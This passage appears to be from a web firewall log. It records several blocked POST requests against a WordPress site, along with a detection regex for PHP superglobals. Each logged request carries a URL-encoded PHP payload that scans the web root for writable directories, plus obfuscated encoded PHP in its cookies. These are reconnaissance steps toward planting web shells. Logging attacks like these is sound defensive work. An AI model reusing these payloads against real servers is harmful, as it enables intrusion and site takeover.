Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\n\nKV=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 19:03:44","203.190.11.3","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> RW:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHypvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-length:3811\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\n\nRW=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 19:03:52","118.139.167.171","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> bj:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLzbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-length:3822\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\n\nbj=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 19:04:08","113.22.137.197","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Ig:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFJpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-length:3832\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\n\nIg=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
